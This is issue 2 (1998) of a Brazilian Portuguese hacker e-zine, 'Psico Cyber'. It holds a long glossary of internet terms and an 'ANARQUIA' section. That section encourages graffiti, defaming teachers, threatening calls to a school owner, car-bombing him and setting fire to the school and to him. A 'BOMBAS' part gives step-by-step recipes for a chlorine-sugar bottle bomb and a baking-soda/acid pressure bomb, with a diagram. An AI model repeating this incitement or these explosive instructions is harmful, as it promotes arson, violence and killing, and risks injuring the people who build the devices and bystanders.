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~/BRAZILIAN/Psico Cyber/psico002
Feito integralmente por Na_Ideia !
ano 01  numero 02 - julho de 1998 !

     pppppppppp   sssssssssss   ii   cccccccccc     oooooooooooo
      pp       p   ss            ii   cc             oo        oo
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        pode ser downloadeado em http://www.angelfire.com/id/psicocyber

                        e-mail  naideia@yahoo.com

              MELHOR SE ABERTO NO EDIT DO DOS OU ALGO PARECIDO
                          (editor de txt)

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* ESTE ZINE TEM COMO OBJETIVO A INFORMACAO, POR ISSO NAO ME RESPONSABILIZO *
* POR QUALQUER ATO IRRESPONSAVEL E/OU IMBECIL FEITO POR QUEM LER ESSE ZINE *
* TAMBEM NEM RECOMENDO A PRATICA DE ATOS ILEGAIS AQUI CONTIDOS !!          *
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                      Alerta

            Se o que vc procura e soh codigo de ViRuS ou apenas dicazinhas
            de invadir sistemas alheios veio ao zine errado !!
            Aqui vc ira fazer minicursos que irao lhe proporcionar
            um entendimento melhor da BANANA !!!!!!!

        TTTTTTT     EEEEEE    MM       MM    PPPPPP     OOOOOOO
           T        E         M M     M M    P     P   O       O
           T        EEE       M  M   M  M    PPPPPP    O       O
           T        E         M   M M   M    P         O       O
           T        EEEEEE    M    M    M    P          OOOOOOO

               NAO  C O R R A  CONTRA !!!    ANDE JUNTO  !!!!

                                                    < Na_Ideia & VERME >

    *  Ainda nao inventaram nada para substituir a BURRICE humana  !!  *

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  No zine:                              linha:
          Intro                              75
          Dicionario                         92
          ANARQUIA                           673
          SO                                 823
          Tutorial de ASSEMBLER - 1. parte   1055
          FTP                                1250
          Intro ao PHREAK - 2. aula          1282

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                         Intro

         Como dito, o num. 02 bem menos limitado que o 1.
     Vc vai encontrar no decorrer do zine um artigo sobre ANARQUIA ,
  que eh ERRADAMENTE confundido com vandalismo e destruicao.
     Anarquia nao eh sair por ai destruindo tudo que encontra pela frente,
  fazer bombas, detonar o colegio, zoar uma lanchonete ...... Anarquia eh
  o simples fato de vc poder fazer o que bem entender, sem ninguem te
  dizendo o que fazer e o que nao fazer.
     E comeca nesse numero o tutorial de ASSEMBLER, aqui so tem uma
       intro, pois ASSEMBLER nao e' facil, e nessecita ser visto com
       muita calma, no n.3 comecara o tutorial de C e C++ !!!

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                     DICIONARIO  - 2.parte - final

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 lamer - Nao ha uma definacao padrao, o lamer (em alguns lugares
  conhecido por lammer, lamah, etc..) eh o mais mane' , o mais tosco
  o mais burro (nao no sentido de informacao, eh falta de inteligencia
  mesmo) de todos no cyber world. Erradamente confundido com beginners,
  ou newbies (iniciantes), passam E-mails anonimos e acham que sao
  hackers.

 LAN - Local Area Network.  Rede Local.   E' uma rede com 2 ou algumas
    dezenas de  computadores  que  nao  se  estende  para  alem  dos
    limites fisicos de um qualquer edificio.  Normalmente utilizada nas
    empresas para interligacao local dos seus computadores.  Existem
    varias tecnologias que permitem  a realizacao de uma rede local,
    sendo as mais importantes, a Ethernet e o Token-Ring.

 largura de banda - Ver Bandwidth.

 latencia - Tempo que uma unidade  de informacao leva a percorrer um  dado
  meio de comunicacao.  Pode-se,  por exemplo, dizer  que o tempo  de
  latencia de  um satelite VSAT e' de 300 ms, o  que significa que um
  caracter enviado a  partir de um ponto leva 300 ms a chegar a outro,
  passando pelo satelite.

 leased-line - Linha  alugada.  A maior  parte das linhas  que ligam as
  varias maquinas da Internet sao linhas alugadas disponiveis
  permanentemente.  Com uma linha  alugada,  dois  computadores
  encontram-se  em  conexao permanente.  Em Portugal, ainda e' um sonho
  instalar uma, pois e' bastante caro.

 linha alugada - ver leased-line.

 link - No WWW,  uma palavra destacada indica  a existencia de um  link,
  que e' uma especie  de apontador  para outra  fonte de  informacao.
  Escolhendo  esse link, obtem-se a pagina de informacao que ele desginava
  que pode, por sua vez, ter tambem varios links.

 Linus Torvalds - The one and only! :-) O inventor do Linux, aquele que
  teve  a ideia  e  desenvolveu  o  nucleo  (kernel)  e  algumas
  ferramentas/utilitarios basicos.   A  melhor  ideia  dele  foi  talvez o
  fato de o disponibilizar na Internet, tornando-o um sistema operativo
  de dominio publico.  Linus foi  mais tarde apoiado entusiasticamente
  por muitos outros "internetianos" (e nao  so') formando  uma  equipa
  que  regularmente  controi novas aplicacoes, melhora as existentes,
  corrige erros, etc.

 linux -  Nome derivado  do nome  do autor  do nucleo  deste sistema
  operativo, Linus Torvalds.   O Linux  e' hoje  em dia  um sistema
  operativo com todas as caracteristicas  do  Unix,  com  uma  implantacao
  invejavel  e  em  constante evolucao... e e' do dominio publico.
  Normalmente e' distribuido em diferentes "releases" que  mais nao  sao
  do  que um  nucleo (recompilavel) acompanhado de programas, utilitarios,
  ferramentas, documentacao, etc.  Uma das releases mais conhecidas e' a
  Slackware.

 login - Identificacao de um  utilizador perante um computador.  Fazer  o
  login e' o acto de dar a sua identificacao de utilizador ao computador.

 logout  -  Acto  de  desconectar  a  sua  ligacao  a um determinado
  sistema ou computador.

 lynx - Um programa (browser) para ver navegar no WWW.  O lynx foi pensado
  para ser usado  em terminais  texto, portanto  so' se  pode visualizar
  a informacao textual, ficando a restante (imagens, sons, etc.)
  disponivel para gravacao  no disco do seu computador para mais tarde
  ver/ouvir.

 mMmMmMmMmMmMmMmMmmmMmMmMmMmMmMmMmMmMmMmmmmmmmmmmmmmmmmMMmMMMMmMmmmMmmmMM

 mail - carta electronica.

 mailing  list  -  Uma  lista  de  assinantes  que  se correspondem por
  correio electronico.  Quando um dos assinantes  escreve uma carta para
  um  determinado endereco electronico (de  gestao da lista)  todos os
  outros  a recebem, o  que permite que se  constituam grupos (privados)
  de discussao atraves  de correio electronico.

 mail server -  Programa de computador  que responde automaticamente
  (enviando informacoes,  ficheiros,  etc.)  a   mensagens  de  correio
  electronico   com determinado conteudo.

 MAN  -  Metropolitan  Area  Network.   Rede  de computadores com extensao
  ate' algumas dezenas  de kilometros,  interligando normalmente  algumas
  centenas de computadores numa dada regiao.

 mil  -  Sufixo  dos  enderecos  electronicos  pertencentes  `as
  organizacoes militares norte-americanas.

 mime - Multipurpose  Internet Mail Extensions.   Conjunto de regras
  definidas para permitirem o envio de  correio electronico (texto) com
  outros  documentos (graficos, sons, etc.) anexos.

 modem -  MOdulador DEModulador.  Pequeno aparelho  (sob a  forma de uma
  carta interna de  expansao -  a introduzir  no interior  do seu
  computador - ou uma caixa  de  plastico  com  luzinhas  no  painel
  posterior) que permite ligar um computador `a linha telefonica, para
  assim estar apto a comunicar com  outros. Muitos  dos  modems  sao
  tambem  capazes  de  realizar funcoes de fax.  A sua aplicacao mais
  importante sera'  porventura a  ligacao a  BBS ou  `a Internet (atraves
  de um fornecedor de acesso).

 mosaic - O primeiro programa (browser)  para o WWW concebido pela NCSA
  (EUA). Com ele  o WWW  tomou um  grande impulso  pois foi  a primeira
  ferramenta que permitia visualizar  a informacao  do WWW,  e utiliza-la,
  de forma  grafica e atraente.

 MUD  -  Multi  User  Dungeon.   Um  jogo para varios utilizadores,
  normalmente presente num qualquer servidor na  Internet.  E' uma
  especie de  Mundo Virtual onde  se  podem  encontrar  e  interactuar
  varios utilizadores.  Normalmente, passa-se tudo textualmente (nada
  de imagens bonitas ou sons espalhafatosos).

 multi-frequencia -  Varias frequencias.   Deginacao para  uma linha
 telefonica capaz de transportar sinais electricos em frequencias
 diferentes.  Sao aquelas linhas que permitem ter um telefone em que
 a marcacao e' feita por tonalidades e nao por impulsos.

NnNnNNnNnNnNnNnNnNnNnNNnnNNNNNnnnNNnNNnnNNnNNnnNNnNNnNNnNNnNNnNNNnNN

 navegar  -  Na  Internet  significa  vaguear,  passear,  procurar
  informacao, sobretudo no WWW.  Tambem se pode dizer surfar, para os
  mais radicais! :-)

 NCSA - National Center for Supercomputing Applications.

 net - Rede (de computadores, nexte contexto).

 netiquette - Conjunto de  regras e conselhos para  uma boa utilizacao da
  rede Internet,  de  modo  a  se  evitarem  erros  proprios  de  novatos
  aquando da interaccao com outros utilizadores (mais experientes).
  A netiquette baseia-se muito no simples e elementar bom senso.

 netscape  -  Um  programa  (browser)  para  o  WWW.   Sucessor  do
 Mosaic   e desenvolvido  pela  mesma  equipa  de  programadores,  o
 Netscape evolui mais rapidamente e esta'-se a tornar no browser de
 WWW mais usado, devido `as  suas caracteristicas de rapidez, cache,
 visualizacao interna de varios formatos  de ficheiros, suporte para
 uma linguagem de  descricao de pagina  mais evoluida, etc.

 network - Rede de computadores.

 newbie -  Novato.  Designacao  depreciativa dada  pelos veteranos
  da Internet `aqueles que a descobriram recentemente.

 news - Noticias, em portugues, mas  melhor traduzido por foruns ou
  grupos  de discussao.   Abreviatura  de  Usenet  News,  as  news sao
  grupos de discussao, organizados por temas (mais de 10.000!), a maior
  parte deles com  distribuicao internacional,  podendo  haver  alguns
  distribuidos  num  so'  pais  ou  numa instituicao apenas.  Nesses
  grupos, publicos, qualquer pessoa pode ler artigos e  escrever  os
  seus  proprios  artigos. Alguns  grupos  sao  moderados, significando
  isso que um humano designado para o efeito le os artigos antes de
  serem publicados, para constatar da sua conformidade para com o tema
  do grupo. No entanto, a grande maioria dos grupos nao sao moderados.

 newsgroup - Um grupo de news, um forum ou grupo de discussao.

 NNRP - Network News Reading  Protocol.  Protocolo que permite que  um
  programa leitor de news  obtenha a informacao  (artigos, grupos, etc.)
  a partir de  um servidor de news.

 NNTP - Network  News Transport Protocol.   Protocolo para a
  transferencia dos grupos de news da Usenet e mensagens de controlo.

OOOOooOooOooOooOooOooOoOOoOoOOOoOOoOoOoOoOooooOoOoOoooooOOooOoOoOoOooo

 offline - `A letra: "fora da linha".  Significa que nenhuma ligacao
  por  linha telefonica ou outra esta' no momento  activa.  Por exemplo,
  a leitura de  mail offline implica que se  possa ler mail no  seu
  proprio computador sem  que ele esteja ligado  ao servidor  (tendo
  portanto sido transferidas as cartas para esse computador, previamente).
  As  ligacoes offline nao permitem  a navegacao interactiva na Internet,
  pois o computador nao pode enviar comandos e  receber dados em tempo real.

 online -  Por oposicao  a offline,  online significa  "estar em  linha", e
  star ligado em determinado momento `a rede ou a um outro computador.
  Para  alguem, na  Internet,  "estar  online",  e'  necessario  que
  nesse momento essa pessoa esteja  a  usar  a  Internet  e  que  tenha,
  portanto,  efecutado o login num determinado computador da rede.

PppPpppPppPPPPPppPPppPppPPppPPppPPppPPPpPPppPPPpPPppPPpPPpPPpPPpPPpP

 password - Palavra-chave usada  para identificacao do utilizador,  em
  conjunto com o login (nao sendo este secreto, como o e' - deve ser -
  a password).

 PGP - Pretty  Good Privacy.  Programa  para a codificacao  mensagens de
  texto, inventado por Philip Zimmerman.  Uma  mensagem assim enviada e'
  inquebravel  e so' o seu destinatario a pode descodificar, dando para
  isso uma chave que  so' ele conhece.

 pine - Um programa/leitor de  correio electronico para ambientes Unix
  (se bem que tambem se  possam encontrar versoes  para outros sistemas
  operativos). `A base de menus com escolha de opcoes  por letras e teclas
  de cursor.  Dizem  os utilizadores que e'  mais simples que  o elm...
  Suporta  tambem o formato  de mensagens MIME (mensagens de texto com
  outro tipo de ficheiros anexos).

 ping -  Pequeno utilitario  utilizado para  ver se  uma determinada
  ligacao se encontra activa e qual o  tempo que uma mensagem leva
  para ir de um ponto  ao outro da ligacao.  O ping envia  pacotes
  (geralmente 64 bytes) para um  ponto, que responde enviando um outro
  pacote equivalente.

 port -  Porto ou  Porta, em  portugues.  A  interface de  sockets, no
  Unix faz corresponder aos processos daemon um  port, onde esse processo
  se  registou na altura do seu arranque e que permite a um programa
  cliente saber onde se  deve ligar.  Por exemplo, o servidor de  mail
  (mail daemon) esta' sempre `a  escuta no port 25 (ate' 1023 os ports
  sao reservados ao sistema).

 post - Desgina um artigo de news, por vezes.  Fazer um post significa
  escrever e enviar um artigo para um grupo de news.

 PPP -  Point to  Point Protocol.   O PPP  implementa o  protocolo TCP/IP
  (o(s) protocolo(s) da Internet) numa linha telefonica, para que atraves
  da mesma  um computador pessoal se possa ligar `a Internet e usufruir
  de todos os servicoes e aplicacoes existentes.  E' uma norma, posterior
  ao SLIP e mais completo.

 processo - Programa  a correr num  determinado instante, portanto
  presente na memoria do computador.  Esta terminologia  e' usada em
  maquinas Unix, onde se podem ter varios processos a correr ao mesmo
  tempo.

 protocolo - Um protocolo e' para os computadores o que uma linguagem
  (lingua) e' para  os humanos.   Dois computadores  para poderem
  transferir informacoes entre si devem utilizar o mesmo  protocolo
  (ou ter um terceiro que  perceba os dois protocolos e faca a traducao).

 proxy  -  Procuracao,  em  portugues.   Um  servidor  (programa) proxy
  (ou com capacidades de proxy)  recebe pedidos de  computadores ligados
  `a  sua rede e, caso  necessario,  efectua  esses  mesmos  pedidos
  (de HTTP, Finger, etc.) ao exterior  dessa  rede  (nomeadamente,  a
  resto  da  Internet),  usando   como identificacao o  seu proprio
  numero IP  e nao  o numero  IP do computador que requisitou o  servico.
  Util  quando nao  se dispoem  de numeros IP registados numa rede interna
  ou por questoes de seguranca.

 pt - Codigo ISO atribuido para identificacao de Portugal.

 pt-net - Uma mailing list de portugueses, no estrangeiro (principalmente)
  e em Portugal.  E' a mais importante mailing list portuguesa e ai se
  debatem  temas de todo o tipo, geralmente relacionados com Portugal.

 public domain - Dominio Publico.

 pulse  -  Impulso.   Uma  linha   telefonica  e'  por  impulsos  se
  nao  for multifrequencias, isto e', os sinais  de digitacao sao
  enviados por  uma serie de pequenos impulsos, separados  por espacos.
  A digitacao  (e estabelecimento de chamada) neste tipo de linhas e'
  mais lenta.

QqqQqQqQQqQqQqQQqQqQQQQqQQQQqQqQQqQQqQqQqQqQqQqQqQqQqqqQqqqqqqQqqqqQqQ

RrrRrRrRRrRrRrrRrRrrRrRrrRrrRrrrrrRrrrrrrrrrrRRrRRRRrRRRRRrrRrRRrrrRRrr

 readme - Leia-me.  Ficheiro que deve ser lido antes de se iniciar a
  utilizacao ou instalacao de  um determinado programa,  sistema,
  computador, etc.   Contem geralmente informacoes que podem poupar tempo
  ao utilizador que pretende fazer algo (e esse algo tem um ficheiro
  README acessivel).

 reply - Resposta.

 RFC - Request For Comments.  Documentos que definem normas e protocolos
  para a Internet e onde se  fazem as discussoes de  nivel tecnico para
  a  definicao de novos protocolos.

 router - Computador, software ou  material dedicado que serve para
  interligar duas  ou  mais  redes  efecutando  automaticamente  a
  redireccao correcta das mensagens de uma rede para outra.

 RTFM - Read The  Fucking Manual.  Leia a porra do manual. Termo utilizado
  para indicar a alguem que deve  ler o manual, pois provavelmente anda
  a fazer perguntas que ai estao claramente respondidas.

SsSSSSSSsSsSssSssSsSSsSsSSsSsSSsSsSSsSSSSsSSsSsSsSssSssssSsSSsSs

 scp  -  Abreviatura  de  soc.culture.portuguese,  o  grupo de news
  distribuido internacionalmente, dedicado a  Portugal e `a  cultura
  portuguesa, no  sentido lato.

 server  -  Servidor.   Um  computador  na  Internet  que  oferece
  determinados servicos.

 servidor - Computador que oferece servicos.

 SGML  -  Standard  General  Markup  Language.   Uma  linguagem de
  descricao de paginas em hipertexto mais geral que o HTML.

 shareware - Software que e'  distribuido livremente, desde que seja
  mantido o seu formato original, sem  modificacoes, e seja dado  o devido
  credito ao  seu autor.  Normalmente, foi  feito para ser  testado durante
  um  curto periodo de tempo (periodo de teste/avaliacao) e, caso seja
  utilizado, o utilizador tem  a obrigacao moral  de enviar  o pagamento
  ao seu  autor (na  ordem de algumas - poucas - dezenas de dolares).
  Quando e' feito o registo, e' normal receber-se um manual impresso do
  programa, assim como uma versao melhorada, possibilidade de assistencia
  tecnica e informacoes acerca de novas versoes.

 signature - Assinatura.  Geralmente  e' a porcao de  texto incluida no fim
  de uma carta electronica ou de um artigo de news (neste caso, por norma,
  deve ser inferior a 4 linhas, de 80  caracteres no maximo cada, sem
  TAB's  nem codigos, para alem dos caracteres ASCII normais).

 site -  Um "site"  da Internet  e' um  dos no's/computadores  existentes.
  Por exemplo, um site  FTP e' um  computador algures que  oferece o
  servico  de FTP (identico a FTP server).

 SLIP - Serial  Line Internet Protocol.   O SLIP implementa  o protocolo
  TCP/IP (o(s) protocolo(s)  da Internet)  numa linha  telefonica, para
  que atraves da mesma um computador pessoal se possa ligar `a Internet
  e usufruir de todos  os servicoes e aplicacoes existentes.  Foi  o
  primeiro protocolo definido para  a utilizacao de TCP/IP em linhas
  telefonicas.

 smiley - Sao pequenos conjuntos  de caracteres ASCII que pretendem
  transmitir uma emocao ou estado de espirito.  Devem ser visualizados
  de lado, com a folha a 90 graus...
  Os mais conhecidos sao: :-) ou :)   :-( ou :(   ;-) ou ;)

 SMTP - Simple Mail Transport Protocol.  Protocolo utilizado entre os
  programas que transferem correio electronico de um computador para outro.

 snail mail - Em portugues, Correio Caracol.  E' o correio tradicional
  (que  e' muito mais lento que o correio electronico, dai o nome).

 sockets - O nome da interface em Unix (originalmente, mas tambem ja'
  existente noutras plataformas) que implementa os protocolos TCP/IP.
  Uma interface e' um conjunto de chamadas possiveis a bibliotecas que
  contem rotinas  implementando determinados objectivos, neste caso,
  comunicacao em TCP/IP.

 SOUP - Simple Offline Usenet Protocol.  "Norma" (ou programa) que define
  como deve ser um pacote compactado de  cartas electronicas e artigos de
  news,  para serem  lidos  offline,  por  um  qualquer  programa leitor
  que compreenda esse formato.

 spam -  Publicacao do  mesmo artigo  de news  em varios  grupos de
  discussao, geralmente resultando em desperdicio de espaco em disco e
  largura de banda nos meios de transmissao.

 sysadmin - System Administrator.  O responsavel por um sistema.

 system V - Uma versao (comercial) do sistema operativo Unix.

TttTtTtTtttTTtTtTtTTTTTTtTtTtTttTtTTtTtTTtTTtTTTTTtTtTTTttTtTttTt

 talk  -  Programa  que  permite  que  dois  utilizadores  (existem
  versoes que permitem mais  utilizadores) "dialoguem  textualmente" em
  directo atraves  da Internet.

 talker - Um programa servidor  que pode manter varios utilizadores
  ligados ao mesmo tempo, permitindo-lhes a interaccao/dialogo textual.

 TCP - Transmission Control Protocol.   Um dos protocolos Internet do
  conjunto TCP/IP,  que  implementa  o  nivel  4  do  modelo  OSI,
  atraves transporte de mensagens com ligacao.

 TCP/IP - Conjunto  de protocolos da  Internet, definindo como  se
  processam as comunicoes  entre   os  varios   computadores.   Pode
  ser  implementado   em virtualmente qualquer tipo  de computador, pois
  e' independente do  hardware. Geralmente,  para  alem  dos  protocolos
  TCP  e  IP  (porventura  os  2  mais importantes), o nome TCP/IP designa
  tambem o conjunto dos restantes protocolos Internet: UDP, ICMP, etc.

 telnet - Protocolo/programa que permite a ligacao de um computador a um
  outro, funcionando  o  primeiro  como  se  fosse  um  terminal  remoto
  do segundo.  O computador  que  "trabalha"  e'  o  segundo  enquanto
  que  o  primeiro apenas visualiza no ecran os resultados e envia os
  caracteres digitados (comandos) no seu teclado.

 thread - Dentro de um grupo de discussao, existem normalmente varios
  threads. Um thread representa um assunto especifico ai debatido e e'
  composto por um ou mais artigos.

 Tim  Berners   Lee  -   O  homem,   na  altura   investigador  do   CERN,
  que definiu/inventou o protocolo HTTP e deu origem ao WWW.

 tin - Um leitor de news, com uma estrutura de menus semelhante ao elm
  (leitor de correio electronico).

 tone  -  Por  oposicao  a  "pulse",  tonalidade.   Numa  linha  telefonica
  por tonalidade (multifrequencia)  a marcacao  de um  numero traduz-se  no
  envio de sinais em diferentes frequencias (sons  diferentes).  A marcacao
  de um  numero (estabelecimento de chamada) neste tipo de linha e' mais
  rapida que numa linha por impulsos.

 trn - Threaded News.  Um leitor de news, onde os artigos sao apresentados
  por thread's.

 trumpet - Trumpet e' o nome dado aos programas que implementam e usam o
  TCP/IP em ambiente Windows, feitos por Peter Tattam.  O mais importante
  e' o  Trumpet Winsock.  Nome da firma.

UuUuUuUuUuUuUuUuUuUuUuUuUuUuUuuuUuUuUuUuUuUuUuUuUuUuUuUuUuuuUuUuuuu

 UART  -  Universal  Asynchronous  Receiver  Transmiter.   Circuito
  integrado responsavel pelas comunicacoes atraves de uma porta serie,
  num computador.

 UDP - User Datagram Protocol.  Um dos protocolos do conjunto de protocolos
  da Internet  (habitualmente  designado  por  TCP/IP).   Corresponde ao
  nivel 4 do modelo OSI,  pois e'  um protocolo  de transporte,  sem
  ligacao.   Em UDP, uma mensagem e' enviada para o destino, sem que haja
  uma ligacao logica  efectuada entre a origem  e o destino  (semelhante
  a uma  ligacao telefonica entre  dois pontos).  O(s)  pacote(s) de
  mensagens podem  entao passar  por varios nos da Internet ate' chegar
  ao destino.  Menos  fiavel que o TCP (outro protocolo  de transporte,
  mas com ligacao), mas bastante util quando a perda de um ou  outro
  pacote nao seja importante e se pretende velocidade na transmissao e
  evitar  a sobrecarga de varias ligacoes logicas estabelecidas.

 unix  -  Sistema  operativo  com  caracteristicas  de multi-tarefa
  preemptiva, criado  nos  anos  70,  nos  Bell  Labs.   Desde ai
  evoluiram muitas variantes diferentes do sistema operativo.

 upload - Fazer o upload de um ficheiro.  Acto de transferir o ficheiro
  do  seu computador  para   um  computador   remoto,  usando   qualquer
  protocolo   de  comunicacoes.

 URL - Uniform Resource Locator.  Localizador Uniformizado de Recursos.
  Metodo de especificao de um determinado recurso na Internet, seja ele
  obtido por FTP, News, Gopher, Mail, HTTP, etc.   Pretende uniformizar o
  maneira de  designar a localizacao  de  um  determinado  tipo  de
  informacao  na Internet.  Exemplo: http://www.insa-lyon.fr -  pedido,
  por  HTTP, da  home page  (WWW) do  INSA de Lyon.

 usenet  -  Conjunto  dos  grupos  de  discussao, artigos e computadores
  que os transferem.  A Internet  inclui a Usenet,  mas esta pode  ser
  transportada por computadores fora da Internet.

 user  -  O  utilizador  dos  servicos  de um computador, normalmente
  registado atraves de um login e uma password.

 utilizador - Ver user.

 UUCP - Unix to Unix CoPy.  Um metodo (antigo, mas ainda usado) para
  transmitir correio  e  artigos  da  Usenet  entre computadores.
  Originalmente feito para fazer a transmissao entre computadores  Unix,
  agora tambem e' possivel  usa-lo noutro tipo de computadores.

 uudecode - Programa para descodificar um ficheiro de texto e transforma-lo
  no binario correspondente.  Juntamente com o uuencode, permite que se
  transfiram binarios  (portanto,  qualquer  software)  atraves  de  um
  simples ficheiro de texto.

 uuencode - Programa para codificar  um ficheiro binario e transforma-lo
  no um ficheiro  de  texto.   Juntamente  com  o  uudecode, permite que
  se transfiram binarios  (portanto,  qualquer  software)  atraves  de
  um simples ficheiro de texto.

VVvVvVVvVvVVVVVvvVvVvVvVvVvVvVvVvVvVvVvVvVvVvVvVvVvVvvvvvVvVVVvvvvv

 V.32bis  -  Uma  das  normas  estabelecidas  para  os  modems  e  que
  define a transmissao de dados `a velocidade de 14400 bps.

 V.34 - Uma das normas estabelecidas para os modems e que define a
  transmissao de dados `a velocidade de 28800 bps.

 V.Fast - Uma pseudo-norma definida pelos fabricantes de modems para
  permitir a transmissao de dados `a  velocidade de 28800 bps.
  Obsoleta com a chegada  da norma V.34.

 V.FC - Ver V.Fast.

 viewer - Programa  que permite ver  (dai o seu  nome) um ficheiro
  gravado num determinado formato.  Existem portanto viewers  de GIF,
  de WAV (diz-se  tambem Player, quando se trata de sons), de JPEG,
  Postscript, etc.

 VSAT - Very Small Aperture Terminal.  Uma antena VSAT permite a
  transmissao de dados (envio e  recepcao) para outra  antena VSAT,
  usando  uma parte da  banda disponivel nos satelites VSAT.

 VT100 - Um tipo de emulacao de terminal muito frequente na Internet.

   WwwWwWWWwWwWwWwWWwwWwwWWwwWWwwWwwwwwWwWWwWWwWWWwWWwwWwwWwwwww

 WAIS - Wide Area Information Service

 WAN -  Wide Area  Network. Um rede de computadores que  se com extensao
  de varias dezenas de kilometros ate' milhares de kilometros.

 web - Em portugues, teia.  Abreviatura para designar o World-Wide-Web.

 whois -  Directorio de enderecos electronicos de pessoas e computadores,
  na Internet, contendo informacoes relativas.

 winsock  -  Implementacao  da  interface  de  sockets para o WIndows.
  Com uma winsock  (programa/livraria  para  o  windows)  e'  possivel
  a utilizacao dos protocolos  SLIP  e/ou PPP  no  Windows, ou  seja, e'
  possivel falar a mesma "lingua" que os outros computadores da Internet.

 World-Wide-Web -  Conjunto dos  servidores que  "falam" HTTP  e
  informacao  ai armazenada em formato HTML.  O World-Wide-Web e' uma
  grande teia de informacao multimedia em  hipertexto.  O  hipertexto
  significa  que se  pode escolher uma palavra destacada numa determinada
  pagina e  obter assim uma  outra pagina de informacao relativa
  (semelhante ao Help do Windows).  As paginas podem  conter texto,
  imagens, sons, animacoes, etc.  O World-Wide-Web e' uma gigantesca
  base de dados distribuida acessivel de uma forma muito atraente e
  intuitiva.

 WWW - Sigla de World-Wide-Web.

 WWW server - Um computador que fornece servicos no WWW, que possui
  informacao acessivel no WWW.

XxxXxXXXxXxXxXxXxXxXxXXXXXXXxXXXXxXxXXxXxXxXxXxXxXxXxxxxxxxXXxXx

 X.25 - Um protocolo de transferencia de pacotes, sem ligacao logica,
  definido pelos operadores publicos de  telecomunicacoes, na Europa
  (sobretudo  para dar dinheiro! :-) )

YYYYyYYyyyYyYyyYyyyyYYyYYyYYyYYyYYYyYYyYyYyyYyYYyYYYyyYYyYYyYYyYYyYyy

 Yanoff - Scott Yanoff.  Um homem que  se lembrou de criar uma lista
  (Lista  de Yanoff) que contem enderecos electronicos e indicacao de
  outros recursos, para a obtencao de informacao na  Internet.  Essa
  lista esta' estruturada  em temas (desde Agricultura, Bioquimica,
  Desporto, etc.) e e' regularmente actualizada. Nao  contem  indicacoes
  para  tudo  o  que  existe  na Internet (pois isso e'impossivel) mas
  pode ser de grande ajuda.

 Xmodem  -  Um  protocolo  de  transferencia  de dados por modem,
  relativamente lento.

 Ymodem  -  Um  protocolo  de  transferencia  de  dados  por  modem,
  com alguns melhoramentos em relacao ao Xmodem.

ZZzZzzZzzZzzZzZZzZZzZZzZZzZZzZZzZZzZZZZZzZZzZZZZZZzZZzZZZzZZzZZzZZz

 Zmodem  -  Um  protocolo  de  transferencia  de  dados  por  modem, com
  alguns melhoramentos em relacao ao Xmodem e ao Ymodem, em particular,
  mais rapido.

           outros  outros  outros  outros  outros

 :-( - Veja smiley.  Um smiley com uma expressao triste.

 :-) - Veja smiley.  Um smiley com uma expressao contente.

 ;-) - Veja smiley.  Um smiley piscando o olho.

 @ - Pronuncia-se como o ingles "at" e encontra-se entre o nome do
  utilizador e o dominio, num endereco electronico.

                   baseado no Dicionario do Internetes
                   de Antonio Miguel Caetano Ferreira

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                             ANARQUIA

   Erradamente e abitualmente confundido com vandalismo e destruicao.
  Anarquia e' uma organizacao, nacao, um grupo ou o que vc achar melhor,
  sem regras e ninguem para dar ordens e dizer se ta bom ou ruim. Em uma
  anarquia vc faz o que achar melhor. Nao va achar que pelo fato de vc
  ter derramado katchup no Mc Donalds, baixado as calcas do bobao da
  turma ou explodido a cabeca de um gato vc e' um anarquista !! Isso
  e'atitude de lamer e de crianca (nada contra crianca, se vc for uma,
  tem mais e' que curtir essa fase mesmo) !!

   Seja inteligente, demonstre suas ideias de uma forma criativa.
   Se vc tem ideias anarquistas use-as, nao as destrua!

   A MELHOR FORMA DE DEMONSTRAR UMA IDEIA, E' USANDO AS LETRAS OU
     AS PALAVRAS, EM ULTIMO CASO UTILIZAREMOS BOMBAS & CIA !!!

  Ideias AnArQuIsTaS:
                     * Pixe um muro (de preferencia que seja grande
                       branco, que nao tenha pixacoes e que nao seja
                       da casa de ninguem (salvo aqueles idiotas que
                       merecem ter seus muros completamente pixados).
                       De preferencia a muros de empresas que nao
                       tenham um bom servico ou que cobrem caro por
                       eles, muros de escolas que tenham uma pesima
                       administracao e casas de politicos corruptos).
                       Escreva nele (com letras gigantescas) algumas
                       verdades e/ou ideias que vc queira espressar.
                       Mas nao seja burro de cair em cana !!
                       Fique ligado com cachorros, segurancas, pessoas
                       inconvenientes, e claro com os omi da lei !!!

                     * O teu professor(a) e'um(a) idiota !!
                       Coloque panfletos nas paredes da tua escola
                       dizendo que ele tem um caso com o(a) diretor(a).

                     * A mensalidade da sua escola e'muito alta !!
                       Converse com alunos, professores e o dono da
                       escola sobre o assunto, e se nao adiantar,
                       descubra o telefone da casa dele, e faca
                       atendados. Se tudo continuar como estava,
                       coloque uma bela bomba no seu carro !
                       Se nada disso adiantar, toque fogo nele,
                       (no colegio e no dono dele) !!!!!!!!

                     * Crie letras de musica ou textos que deixem
                       uma mensagem no ar.

         -------------->>>>    BOMBAS   <<<<----------------

   Todas as bombas aqui citadas foram feitas e funcionaram !!
   (ou melhor, explodiram). Ira depender de vc o correto
   funcionamento delas !!

            TODO RISCO E DANO CAUSADA PELAS BOMBAS E DE TOTAL
            RESPONSABILIDADE SUA, VALE LEMBRAR TAMBEM QUE
            QUANTO MAIS SIMPLES E INOFENCISA PARECA SER
            A BOMBA, VC ESTARA CORRENDO UM GRANDE RISCO !!!!!!

   Bomba de CLORO - materiais:
                             uma garrafa de refri de 2 litros;
                             um pouco de cloro granulado (20 a 50g);
                             a mesma quantidade de acucar;
                             agua a gosto.

                    Coloque o cloro na garrafa, faca uma mistura de
                     agua (1 quarto da garrafa) e acucar, agite e jogue
                     na garrafa. Feche bem e faca o que quizer com ela.
                     A reacao nao e'rapida, por isso nao va pega-la se
                     tiver demorando muito pra explodir !!!

   Bomba de BICARBONATO DE SODIO - materiais:
                             bicarbonato de sodio, um acido qualquer
                             (vinagre e' acido acetico, e'fraco mas
                             tbem da) e um recipiente qualquer que
                             tenha presao.

                     Essa reacao e' super rapida, por isso deve-se
                      tomar alguns cuidados.
                             Coloque dentro de bexigas, latas, garrafas
                             ou o que der na telha.

                     Para garrafas, deve-se dobra-la, de modo que o
                     acido (vinagre no caso) fique de um lado, e o
                     bicarbonato de outro, e desdobra-la na hora da
                     explosao! ou use o esquema a baixo !!

                 Uso de bicarbonato com acido em bombas !!!

                     ______
                     |    |
                     |    |
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                   /        \
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                 |            |
                 |   |ÛÛÛ|----|--->> bicarbonato
                 |___|ÛÛÛ|____|
                 |   |ÛÛÛ|    |
                 |            |
                 |  acido     |
                 |            |
                 |            |
                 |____________|

